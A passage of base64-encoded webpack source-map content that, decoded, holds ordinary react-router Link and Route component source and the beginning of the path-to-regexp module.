lLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmltcG9ydCBSZWFjdCBmcm9tIFwicmVhY3RcIjtcbmltcG9ydCBQcm9wVHlwZXMgZnJvbSBcInByb3AtdHlwZXNcIjtcbmltcG9ydCBpbnZhcmlhbnQgZnJvbSBcImludmFyaWFudFwiO1xuaW1wb3J0IHsgY3JlYXRlTG9jYXRpb24gfSBmcm9tIFwiaGlzdG9yeVwiO1xuXG52YXIgaXNNb2RpZmllZEV2ZW50ID0gZnVuY3Rpb24gaXNNb2RpZmllZEV2ZW50KGV2ZW50KSB7XG4gIHJldHVybiAhIShldmVudC5tZXRhS2V5IHx8IGV2ZW50LmFsdEtleSB8fCBldmVudC5jdHJsS2V5IHx8IGV2ZW50LnNoaWZ0S2V5KTtcbn07XG5cbi8qKlxuICogVGhlIHB1YmxpYyBBUEkgZm9yIHJlbmRlcmluZyBhIGhpc3RvcnktYXdhcmUgPGE+LlxuICovXG5cbnZhciBMaW5rID0gZnVuY3Rpb24gKF9SZWFjdCRDb21wb25lbnQpIHtcbiAgX2luaGVyaXRzKExpbmssIF9SZWFjdCRDb21wb25lbnQpO1xuXG4gIGZ1bmN0aW9uIExpbmsoKSB7XG4gICAgdmFyIF90ZW1wLCBfdGhpcywgX3JldDtcblxuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBMaW5rKTtcblxuICAgIGZvciAodmFyIF9sZW4gPSBhcmd1bWVudHMubGVuZ3RoLCBhcmdzID0gQXJyYXkoX2xlbiksIF9rZXkgPSAwOyBfa2V5IDwgX2xlbjsgX2tleSsrKSB7XG4gICAgICBhcmdzW19rZXldID0gYXJndW1lbnRzW19rZXldO1xuICAgIH1cblxuICAgIHJldHVybiBfcmV0ID0gKF90ZW1wID0gKF90aGlzID0gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX1JlYWN0JENvbXBvbmVudC5jYWxsLmFwcGx5KF9SZWFjdCRDb21wb25lbnQsIFt0aGlzXS5jb25jYXQoYXJncykpKSwgX3RoaXMpLCBfdGhpcy5oYW5kbGVDbGljayA9IGZ1bmN0aW9uIChldmVudCkge1xuICAgICAgaWYgKF90aGlzLnByb3BzLm9uQ2xpY2spIF90aGlzLnByb3BzLm9uQ2xpY2soZXZlbnQpO1xuXG4gICAgICBpZiAoIWV2ZW50LmRlZmF1bHRQcmV2ZW50ZWQgJiYgLy8gb25DbGljayBwcmV2ZW50ZWQgZGVmYXVsdFxuICAgICAgZXZlbnQuYnV0dG9uID09PSAwICYmIC8vIGlnbm9yZSBldmVyeXRoaW5nIGJ1dCBsZWZ0IGNsaWNrc1xuICAgICAgIV90aGlzLnByb3BzLnRhcmdldCAmJiAvLyBsZXQgYnJvd3NlciBoYW5kbGUgXCJ0YXJnZXQ9X2JsYW5rXCIgZXRjLlxuICAgICAgIWlzTW9kaWZpZWRFdmVudChldmVudCkgLy8gaWdub3JlIGNsaWNrcyB3aXRoIG1vZGlmaWVyIGtleXNcbiAgICAgICkge1xuICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7XG5cbiAgICAgICAgICB2YXIgaGlzdG9yeSA9IF90aGlzLmNvbnRleHQucm91dGVyLmhpc3Rvcnk7XG4gICAgICAgICAgdmFyIF90aGlzJHByb3BzID0gX3RoaXMucHJvcHMsXG4gICAgICAgICAgICAgIHJlcGxhY2UgPSBfdGhpcyRwcm9wcy5yZXBsYWNlLFxuICAgICAgICAgICAgICB0byA9IF90aGlzJHByb3BzLnRvO1xuXG5cbiAgICAgICAgICBpZiAocmVwbGFjZSkge1xuICAgICAgICAgICAgaGlzdG9yeS5yZXBsYWNlKHRvKTtcbiAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaGlzdG9yeS5wdXNoKHRvKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9LCBfdGVtcCksIF9wb3NzaWJsZUNvbnN0cnVjdG9yUmV0dXJuKF90aGlzLCBfcmV0KTtcbiAgfVxuXG4gIExpbmsucHJvdG90eXBlLnJlbmRlciA9IGZ1bmN0aW9uIHJlbmRlcigpIHtcbiAgICB2YXIgX3Byb3BzID0gdGhpcy5wcm9wcyxcbiAgICAgICAgcmVwbGFjZSA9IF9wcm9wcy5yZXBsYWNlLFxuICAgICAgICB0byA9IF9wcm9wcy50byxcbiAgICAgICAgaW5uZXJSZWYgPSBfcHJvcHMuaW5uZXJSZWYsXG4gICAgICAgIHByb3BzID0gX29iamVjdFdpdGhvdXRQcm9wZXJ0aWVzKF9wcm9wcywgW1wicmVwbGFjZVwiLCBcInRvXCIsIFwiaW5uZXJSZWZcIl0pOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG5vLXVudXNlZC12YXJzXG5cbiAgICBpbnZhcmlhbnQodGhpcy5jb250ZXh0LnJvdXRlciwgXCJZb3Ugc2hvdWxkIG5vdCB1c2UgPExpbms+IG91dHNpZGUgYSA8Um91dGVyPlwiKTtcblxuICAgIGludmFyaWFudCh0byAhPT0gdW5kZWZpbmVkLCAnWW91IG11c3Qgc3BlY2lmeSB0aGUgXCJ0b1wiIHByb3BlcnR5Jyk7XG5cbiAgICB2YXIgaGlzdG9yeSA9IHRoaXMuY29udGV4dC5yb3V0ZXIuaGlzdG9yeTtcblxuICAgIHZhciBsb2NhdGlvbiA9IHR5cGVvZiB0byA9PT0gXCJzdHJpbmdcIiA/IGNyZWF0ZUxvY2F0aW9uKHRvLCBudWxsLCBudWxsLCBoaXN0b3J5LmxvY2F0aW9uKSA6IHRvO1xuXG4gICAgdmFyIGhyZWYgPSBoaXN0b3J5LmNyZWF0ZUhyZWYobG9jYXRpb24pO1xuICAgIHJldHVybiBSZWFjdC5jcmVhdGVFbGVtZW50KFwiYVwiLCBfZXh0ZW5kcyh7fSwgcHJvcHMsIHsgb25DbGljazogdGhpcy5oYW5kbGVDbGljaywgaHJlZjogaHJlZiwgcmVmOiBpbm5lclJlZiB9KSk7XG4gIH07XG5cbiAgcmV0dXJuIExpbms7XG59KFJlYWN0LkNvbXBvbmVudCk7XG5cbkxpbmsucHJvcFR5cGVzID0ge1xuICBvbkNsaWNrOiBQcm9wVHlwZXMuZnVuYyxcbiAgdGFyZ2V0OiBQcm9wVHlwZXMuc3RyaW5nLFxuICByZXBsYWNlOiBQcm9wVHlwZXMuYm9vbCxcbiAgdG86IFByb3BUeXBlcy5vbmVPZlR5cGUoW1Byb3BUeXBlcy5zdHJpbmcsIFByb3BUeXBlcy5vYmplY3RdKS5pc1JlcXVpcmVkLFxuICBpbm5lclJlZjogUHJvcFR5cGVzLm9uZU9mVHlwZShbUHJvcFR5cGVzLnN0cmluZywgUHJvcFR5cGVzLmZ1bmNdKVxufTtcbkxpbmsuZGVmYXVsdFByb3BzID0ge1xuICByZXBsYWNlOiBmYWxzZVxufTtcbkxpbmsuY29udGV4dFR5cGVzID0ge1xuICByb3V0ZXI6IFByb3BUeXBlcy5zaGFwZSh7XG4gICAgaGlzdG9yeTogUHJvcFR5cGVzLnNoYXBlKHtcbiAgICAgIHB1c2g6IFByb3BUeXBlcy5mdW5jLmlzUmVxdWlyZWQsXG4gICAgICByZXBsYWNlOiBQcm9wVHlwZXMuZnVuYy5pc1JlcXVpcmVkLFxuICAgICAgY3JlYXRlSHJlZjogUHJvcFR5cGVzLmZ1bmMuaXNSZXF1aXJlZFxuICAgIH0pLmlzUmVxdWlyZWRcbiAgfSkuaXNSZXF1aXJlZFxufTtcblxuXG5leHBvcnQgZGVmYXVsdCBMaW5rO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci1kb20vZXMvTGluay5qc1xuLy8gbW9kdWxlIGlkID0gNzVcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIvLyBXcml0dGVuIGluIHRoaXMgcm91bmQgYWJvdXQgd2F5IGZvciBiYWJlbC10cmFuc2Zvcm0taW1wb3J0c1xuaW1wb3J0IFJvdXRlIGZyb20gXCJyZWFjdC1yb3V0ZXIvZXMvUm91dGVcIjtcblxuZXhwb3J0IGRlZmF1bHQgUm91dGU7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyLWRvbS9lcy9Sb3V0ZS5qc1xuLy8gbW9kdWxlIGlkID0gNzZcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX2V4dGVuZHMgPSBPYmplY3QuYXNzaWduIHx8IGZ1bmN0aW9uICh0YXJnZXQpIHsgZm9yICh2YXIgaSA9IDE7IGkgPCBhcmd1bWVudHMubGVuZ3RoOyBpKyspIHsgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTsgZm9yICh2YXIga2V5IGluIHNvdXJjZSkgeyBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkgeyB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldOyB9IH0gfSByZXR1cm4gdGFyZ2V0OyB9O1xuXG5mdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmltcG9ydCB3YXJuaW5nIGZyb20gXCJ3YXJuaW5nXCI7XG5pbXBvcnQgaW52YXJpYW50IGZyb20gXCJpbnZhcmlhbnRcIjtcbmltcG9ydCBSZWFjdCBmcm9tIFwicmVhY3RcIjtcbmltcG9ydCBQcm9wVHlwZXMgZnJvbSBcInByb3AtdHlwZXNcIjtcbmltcG9ydCBtYXRjaFBhdGggZnJvbSBcIi4vbWF0Y2hQYXRoXCI7XG5cbnZhciBpc0VtcHR5Q2hpbGRyZW4gPSBmdW5jdGlvbiBpc0VtcHR5Q2hpbGRyZW4oY2hpbGRyZW4pIHtcbiAgcmV0dXJuIFJlYWN0LkNoaWxkcmVuLmNvdW50KGNoaWxkcmVuKSA9PT0gMDtcbn07XG5cbi8qKlxuICogVGhlIHB1YmxpYyBBUEkgZm9yIG1hdGNoaW5nIGEgc2luZ2xlIHBhdGggYW5kIHJlbmRlcmluZy5cbiAqL1xuXG52YXIgUm91dGUgPSBmdW5jdGlvbiAoX1JlYWN0JENvbXBvbmVudCkge1xuICBfaW5oZXJpdHMoUm91dGUsIF9SZWFjdCRDb21wb25lbnQpO1xuXG4gIGZ1bmN0aW9uIFJvdXRlKCkge1xuICAgIHZhciBfdGVtcCwgX3RoaXMsIF9yZXQ7XG5cbiAgICBfY2xhc3NDYWxsQ2hlY2sodGhpcywgUm91dGUpO1xuXG4gICAgZm9yICh2YXIgX2xlbiA9IGFyZ3VtZW50cy5sZW5ndGgsIGFyZ3MgPSBBcnJheShfbGVuKSwgX2tleSA9IDA7IF9rZXkgPCBfbGVuOyBfa2V5KyspIHtcbiAgICAgIGFyZ3NbX2tleV0gPSBhcmd1bWVudHNbX2tleV07XG4gICAgfVxuXG4gICAgcmV0dXJuIF9yZXQgPSAoX3RlbXAgPSAoX3RoaXMgPSBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybih0aGlzLCBfUmVhY3QkQ29tcG9uZW50LmNhbGwuYXBwbHkoX1JlYWN0JENvbXBvbmVudCwgW3RoaXNdLmNvbmNhdChhcmdzKSkpLCBfdGhpcyksIF90aGlzLnN0YXRlID0ge1xuICAgICAgbWF0Y2g6IF90aGlzLmNvbXB1dGVNYXRjaChfdGhpcy5wcm9wcywgX3RoaXMuY29udGV4dC5yb3V0ZXIpXG4gICAgfSwgX3RlbXApLCBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihfdGhpcywgX3JldCk7XG4gIH1cblxuICBSb3V0ZS5wcm90b3R5cGUuZ2V0Q2hpbGRDb250ZXh0ID0gZnVuY3Rpb24gZ2V0Q2hpbGRDb250ZXh0KCkge1xuICAgIHJldHVybiB7XG4gICAgICByb3V0ZXI6IF9leHRlbmRzKHt9LCB0aGlzLmNvbnRleHQucm91dGVyLCB7XG4gICAgICAgIHJvdXRlOiB7XG4gICAgICAgICAgbG9jYXRpb246IHRoaXMucHJvcHMubG9jYXRpb24gfHwgdGhpcy5jb250ZXh0LnJvdXRlci5yb3V0ZS5sb2NhdGlvbixcbiAgICAgICAgICBtYXRjaDogdGhpcy5zdGF0ZS5tYXRjaFxuICAgICAgICB9XG4gICAgICB9KVxuICAgIH07XG4gIH07XG5cbiAgUm91dGUucHJvdG90eXBlLmNvbXB1dGVNYXRjaCA9IGZ1bmN0aW9uIGNvbXB1dGVNYXRjaChfcmVmLCByb3V0ZXIpIHtcbiAgICB2YXIgY29tcHV0ZWRNYXRjaCA9IF9yZWYuY29tcHV0ZWRNYXRjaCxcbiAgICAgICAgbG9jYXRpb24gPSBfcmVmLmxvY2F0aW9uLFxuICAgICAgICBwYXRoID0gX3JlZi5wYXRoLFxuICAgICAgICBzdHJpY3QgPSBfcmVmLnN0cmljdCxcbiAgICAgICAgZXhhY3QgPSBfcmVmLmV4YWN0LFxuICAgICAgICBzZW5zaXRpdmUgPSBfcmVmLnNlbnNpdGl2ZTtcblxuICAgIGlmIChjb21wdXRlZE1hdGNoKSByZXR1cm4gY29tcHV0ZWRNYXRjaDsgLy8gPFN3aXRjaD4gYWxyZWFkeSBjb21wdXRlZCB0aGUgbWF0Y2ggZm9yIHVzXG5cbiAgICBpbnZhcmlhbnQocm91dGVyLCBcIllvdSBzaG91bGQgbm90IHVzZSA8Um91dGU+IG9yIHdpdGhSb3V0ZXIoKSBvdXRzaWRlIGEgPFJvdXRlcj5cIik7XG5cbiAgICB2YXIgcm91dGUgPSByb3V0ZXIucm91dGU7XG5cbiAgICB2YXIgcGF0aG5hbWUgPSAobG9jYXRpb24gfHwgcm91dGUubG9jYXRpb24pLnBhdGhuYW1lO1xuXG4gICAgcmV0dXJuIG1hdGNoUGF0aChwYXRobmFtZSwgeyBwYXRoOiBwYXRoLCBzdHJpY3Q6IHN0cmljdCwgZXhhY3Q6IGV4YWN0LCBzZW5zaXRpdmU6IHNlbnNpdGl2ZSB9LCByb3V0ZS5tYXRjaCk7XG4gIH07XG5cbiAgUm91dGUucHJvdG90eXBlLmNvbXBvbmVudFdpbGxNb3VudCA9IGZ1bmN0aW9uIGNvbXBvbmVudFdpbGxNb3VudCgpIHtcbiAgICB3YXJuaW5nKCEodGhpcy5wcm9wcy5jb21wb25lbnQgJiYgdGhpcy5wcm9wcy5yZW5kZXIpLCBcIllvdSBzaG91bGQgbm90IHVzZSA8Um91dGUgY29tcG9uZW50PiBhbmQgPFJvdXRlIHJlbmRlcj4gaW4gdGhlIHNhbWUgcm91dGU7IDxSb3V0ZSByZW5kZXI+IHdpbGwgYmUgaWdub3JlZFwiKTtcblxuICAgIHdhcm5pbmcoISh0aGlzLnByb3BzLmNvbXBvbmVudCAmJiB0aGlzLnByb3BzLmNoaWxkcmVuICYmICFpc0VtcHR5Q2hpbGRyZW4odGhpcy5wcm9wcy5jaGlsZHJlbikpLCBcIllvdSBzaG91bGQgbm90IHVzZSA8Um91dGUgY29tcG9uZW50PiBhbmQgPFJvdXRlIGNoaWxkcmVuPiBpbiB0aGUgc2FtZSByb3V0ZTsgPFJvdXRlIGNoaWxkcmVuPiB3aWxsIGJlIGlnbm9yZWRcIik7XG5cbiAgICB3YXJuaW5nKCEodGhpcy5wcm9wcy5yZW5kZXIgJiYgdGhpcy5wcm9wcy5jaGlsZHJlbiAmJiAhaXNFbXB0eUNoaWxkcmVuKHRoaXMucHJvcHMuY2hpbGRyZW4pKSwgXCJZb3Ugc2hvdWxkIG5vdCB1c2UgPFJvdXRlIHJlbmRlcj4gYW5kIDxSb3V0ZSBjaGlsZHJlbj4gaW4gdGhlIHNhbWUgcm91dGU7IDxSb3V0ZSBjaGlsZHJlbj4gd2lsbCBiZSBpZ25vcmVkXCIpO1xuICB9O1xuXG4gIFJvdXRlLnByb3RvdHlwZS5jb21wb25lbnRXaWxsUmVjZWl2ZVByb3BzID0gZnVuY3Rpb24gY29tcG9uZW50V2lsbFJlY2VpdmVQcm9wcyhuZXh0UHJvcHMsIG5leHRDb250ZXh0KSB7XG4gICAgd2FybmluZyghKG5leHRQcm9wcy5sb2NhdGlvbiAmJiAhdGhpcy5wcm9wcy5sb2NhdGlvbiksICc8Um91dGU+IGVsZW1lbnRzIHNob3VsZCBub3QgY2hhbmdlIGZyb20gdW5jb250cm9sbGVkIHRvIGNvbnRyb2xsZWQgKG9yIHZpY2UgdmVyc2EpLiBZb3UgaW5pdGlhbGx5IHVzZWQgbm8gXCJsb2NhdGlvblwiIHByb3AgYW5kIHRoZW4gcHJvdmlkZWQgb25lIG9uIGEgc3Vic2VxdWVudCByZW5kZXIuJyk7XG5cbiAgICB3YXJuaW5nKCEoIW5leHRQcm9wcy5sb2NhdGlvbiAmJiB0aGlzLnByb3BzLmxvY2F0aW9uKSwgJzxSb3V0ZT4gZWxlbWVudHMgc2hvdWxkIG5vdCBjaGFuZ2UgZnJvbSBjb250cm9sbGVkIHRvIHVuY29udHJvbGxlZCAob3IgdmljZSB2ZXJzYSkuIFlvdSBwcm92aWRlZCBhIFwibG9jYXRpb25cIiBwcm9wIGluaXRpYWxseSBidXQgb21pdHRlZCBpdCBvbiBhIHN1YnNlcXVlbnQgcmVuZGVyLicpO1xuXG4gICAgdGhpcy5zZXRTdGF0ZSh7XG4gICAgICBtYXRjaDogdGhpcy5jb21wdXRlTWF0Y2gobmV4dFByb3BzLCBuZXh0Q29udGV4dC5yb3V0ZXIpXG4gICAgfSk7XG4gIH07XG5cbiAgUm91dGUucHJvdG90eXBlLnJlbmRlciA9IGZ1bmN0aW9uIHJlbmRlcigpIHtcbiAgICB2YXIgbWF0Y2ggPSB0aGlzLnN0YXRlLm1hdGNoO1xuICAgIHZhciBfcHJvcHMgPSB0aGlzLnByb3BzLFxuICAgICAgICBjaGlsZHJlbiA9IF9wcm9wcy5jaGlsZHJlbixcbiAgICAgICAgY29tcG9uZW50ID0gX3Byb3BzLmNvbXBvbmVudCxcbiAgICAgICAgcmVuZGVyID0gX3Byb3BzLnJlbmRlcjtcbiAgICB2YXIgX2NvbnRleHQkcm91dGVyID0gdGhpcy5jb250ZXh0LnJvdXRlcixcbiAgICAgICAgaGlzdG9yeSA9IF9jb250ZXh0JHJvdXRlci5oaXN0b3J5LFxuICAgICAgICByb3V0ZSA9IF9jb250ZXh0JHJvdXRlci5yb3V0ZSxcbiAgICAgICAgc3RhdGljQ29udGV4dCA9IF9jb250ZXh0JHJvdXRlci5zdGF0aWNDb250ZXh0O1xuXG4gICAgdmFyIGxvY2F0aW9uID0gdGhpcy5wcm9wcy5sb2NhdGlvbiB8fCByb3V0ZS5sb2NhdGlvbjtcbiAgICB2YXIgcHJvcHMgPSB7IG1hdGNoOiBtYXRjaCwgbG9jYXRpb246IGxvY2F0aW9uLCBoaXN0b3J5OiBoaXN0b3J5LCBzdGF0aWNDb250ZXh0OiBzdGF0aWNDb250ZXh0IH07XG5cbiAgICBpZiAoY29tcG9uZW50KSByZXR1cm4gbWF0Y2ggPyBSZWFjdC5jcmVhdGVFbGVtZW50KGNvbXBvbmVudCwgcHJvcHMpIDogbnVsbDtcblxuICAgIGlmIChyZW5kZXIpIHJldHVybiBtYXRjaCA/IHJlbmRlcihwcm9wcykgOiBudWxsO1xuXG4gICAgaWYgKHR5cGVvZiBjaGlsZHJlbiA9PT0gXCJmdW5jdGlvblwiKSByZXR1cm4gY2hpbGRyZW4ocHJvcHMpO1xuXG4gICAgaWYgKGNoaWxkcmVuICYmICFpc0VtcHR5Q2hpbGRyZW4oY2hpbGRyZW4pKSByZXR1cm4gUmVhY3QuQ2hpbGRyZW4ub25seShjaGlsZHJlbik7XG5cbiAgICByZXR1cm4gbnVsbDtcbiAgfTtcblxuICByZXR1cm4gUm91dGU7XG59KFJlYWN0LkNvbXBvbmVudCk7XG5cblJvdXRlLnByb3BUeXBlcyA9IHtcbiAgY29tcHV0ZWRNYXRjaDogUHJvcFR5cGVzLm9iamVjdCwgLy8gcHJpdmF0ZSwgZnJvbSA8U3dpdGNoPlxuICBwYXRoOiBQcm9wVHlwZXMuc3RyaW5nLFxuICBleGFjdDogUHJvcFR5cGVzLmJvb2wsXG4gIHN0cmljdDogUHJvcFR5cGVzLmJvb2wsXG4gIHNlbnNpdGl2ZTogUHJvcFR5cGVzLmJvb2wsXG4gIGNvbXBvbmVudDogUHJvcFR5cGVzLmZ1bmMsXG4gIHJlbmRlcjogUHJvcFR5cGVzLmZ1bmMsXG4gIGNoaWxkcmVuOiBQcm9wVHlwZXMub25lT2ZUeXBlKFtQcm9wVHlwZXMuZnVuYywgUHJvcFR5cGVzLm5vZGVdKSxcbiAgbG9jYXRpb246IFByb3BUeXBlcy5vYmplY3Rcbn07XG5Sb3V0ZS5jb250ZXh0VHlwZXMgPSB7XG4gIHJvdXRlcjogUHJvcFR5cGVzLnNoYXBlKHtcbiAgICBoaXN0b3J5OiBQcm9wVHlwZXMub2JqZWN0LmlzUmVxdWlyZWQsXG4gICAgcm91dGU6IFByb3BUeXBlcy5vYmplY3QuaXNSZXF1aXJlZCxcbiAgICBzdGF0aWNDb250ZXh0OiBQcm9wVHlwZXMub2JqZWN0XG4gIH0pXG59O1xuUm91dGUuY2hpbGRDb250ZXh0VHlwZXMgPSB7XG4gIHJvdXRlcjogUHJvcFR5cGVzLm9iamVjdC5pc1JlcXVpcmVkXG59O1xuXG5cbmV4cG9ydCBkZWZhdWx0IFJvdXRlO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci9lcy9Sb3V0ZS5qc1xuLy8gbW9kdWxlIGlkID0gNzdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgaXNhcnJheSA9IHJlcXVpcmUoJ2lzYXJyYXknKVxuXG4vKipcbiAqIEV4cG9zZSBgcGF0aFRvUmVnZXhwYC5cbiAqL1xubW9kdWxlLmV4cG9ydHMgPSBwYXRoVG9SZWdleHBcbm1vZHVsZS5leHBvcnRzLnBhcnNlID0gcGFyc2Vcbm1vZHVsZS5leHBvcnRzLmNvbXBpbGUgPSBjb21waWxlXG5tb2R1bGUuZXhwb3J0cy50b2tlbnNUb0Z1bmN0aW9uID0gdG9rZW5zVG9GdW5jdGlvblxubW9kdWxlLmV4cG9ydHMudG9rZW5zVG9SZWdFeHAgPSB0b2tlbnNUb1JlZ0V4cFxuXG4vKipcbiAqIFRoZSBtYWluIHBhdGggbWF0Y2hpbmcgcmVnZXhwIHV0aWxpdHkuXG4gKlxuICogQHR5cGUge1JlZ0V4cH1cbiAqL1xudmFyIFBBVEhfUkVHRVhQID0gbmV3IFJlZ0V4cChbXG4gIC8vIE1hdGNoIGVzY2FwZWQgY2hhcmFjdGVycyB0aGF0IHdvdWxkIG90aGVyd2lzZSBhcHBlYXIgaW4gZnV0dXJlIG1hdGNoZXMuXG4gIC8vIFRoaXMgYWxsb3dzIHRoZSB1c2VyIHRvIGVzY2FwZSBzcGVjaWFsIGNoYXJhY3RlcnMgdGhhdCB3b24ndCB0cmFuc2Zvcm0uXG4gICcoXFxcXFxcXFwuKScsXG4gIC8vIE1hdGNoIEV4cHJlc3Mtc3R5bGUgcGFyYW1ldGVycyBhbmQgdW4tbmFtZWQgcGFyYW1ldGVycyB3aXRoIGEgcHJlZml4XG4gIC8vIGFuZCBvcHRpb25hbCBzdWZmaXhlcy4gTWF0Y2hlcyBhcHBlYXIgYXM6XG4gIC8vXG4gIC8vIFwiLzp0ZXN0KFxcXFxkKyk/XCIgPT4gW1wiL1wiLCBcInRlc3RcIiwgXCJcXGQrXCIsIHVuZGVmaW5lZCwgXCI/XCIsIHVuZGVmaW5lZF1cbiAgLy8gXCIvcm91dGUoXFxcXGQrKVwiICA9PiBbdW5kZWZpbmVkLCB1bmRlZmluZWQsIHVuZGVmaW5lZCwgXCJcXGQrXCIsIHVuZGVmaW5lZCwgdW5kZWZpbmVkXVxuICAvLyBcIi8qXCIgICAgICAgICAgICA9PiBbXCIvXCIsIHVuZGVmaW5lZCwgdW5kZWZpbmVkLCB1bmRlZmluZWQsIHVuZGVmaW5lZCwgXCIqXCJdXG4gICcoW1xcXFwvLl0pPyg/Oig/OlxcXFw6KFxcXFx3KykoPzpcXFxcKCgoPzpcXFxcXFxcXC58W15cXFxcXFxcXCgpXSkrKVxcXFwpKT98XFxcXCgoKD86XFxcXFxcXFwufFteXFxcXFxcXFwoKV0pKylcXFxcKSkoWysqP10pP3woXFxcXCopKSdcbl0uam9pbignfCcpLCAnZycpXG5cbi8qKlxuICogUGFyc2UgYSBzdHJpbmcgZm9yIHRoZSByYXcgdG9rZW5zLlxuICpcbiAqIEBwYXJhbSAge3N0cmluZ30gIHN0clxuICogQHBhcmFtICB7T2JqZWN0PX0gb3B0aW9uc1xuICogQHJldHVybiB7IUFycmF5fVxuICovXG5mdW5jdGlvbiBwYXJzZSAoc3RyLCBvcHRpb25zKSB7XG4gIHZhciB0b2tlbnMgPSBbXVxuICB2YXIga2V5ID0gMFxuICB2YXIgaW5kZXggPSAwXG4gIHZhciBwYXRoID0gJydcbiAgdmFyIGRlZmF1bHREZWxpbWl0ZXIgPSBvcHRpb25zICYmIG9wdGlvbnMuZGVsaW1pdGVyIHx8ICcvJ1xuICB2YXIgcmVzXG5cbiAgd2hpbGUgKChyZXMgPSBQQVRIX1JFR0VYUC5leGVjKHN0cikpICE9IG51bGwpIHtcbiAgICB2YXIgbSA9IHJlc1swXVxuICAgIHZhciBlc2NhcGVkID0gcmVzWzFdXG4gICAgdmFyIG9mZnNldCA9IHJlcy5pbmRleFxuICAgIHBhdGggKz0gc3RyLnNsaWNlKGluZGV4LCBvZmZzZXQpXG4gICAgaW5kZXggPSBvZmZzZXQgKyBtLmxlbmd0aFxuXG4gICAgLy8gSWdub3JlIGFscmVhZHkgZXNjYXBlZCBzZXF1ZW5jZXMuXG4gICAgaWYgKGVzY2FwZWQpIHtcbiAgICAgIHBhdGggKz0gZXNjYXBlZFsxXVxuICAgICAgY29udGludWVcbiAgICB9XG5cbiAgICB2YXIgbmV4dCA9IHN0cltpbmRleF1cbiAgICB2YXIgcHJlZml4ID0gcmVzWzJdXG4gICAgdmFyIG5hbWUgPSByZXNbM11cbiAgICB2YXIgY2FwdHVyZSA9IHJlc1s0XVxuICAgIHZhciBncm91cCA9IHJlc1s1XVxuICAgIHZhciBtb2RpZmllciA9IHJlc1s2XVxuICAgIHZhciBhc3RlcmlzayA9IHJlc1s3XVxuXG4gICAgLy8gUHVzaCB0aGUgY3VycmVudCBwYXRoIG9udG8gdGhlIHRva2Vucy5cbiAgICBpZiAocGF0aCkge1xuICAgICAgdG9rZW5zLnB1c2gocGF0aClcbiAgICAgIHBh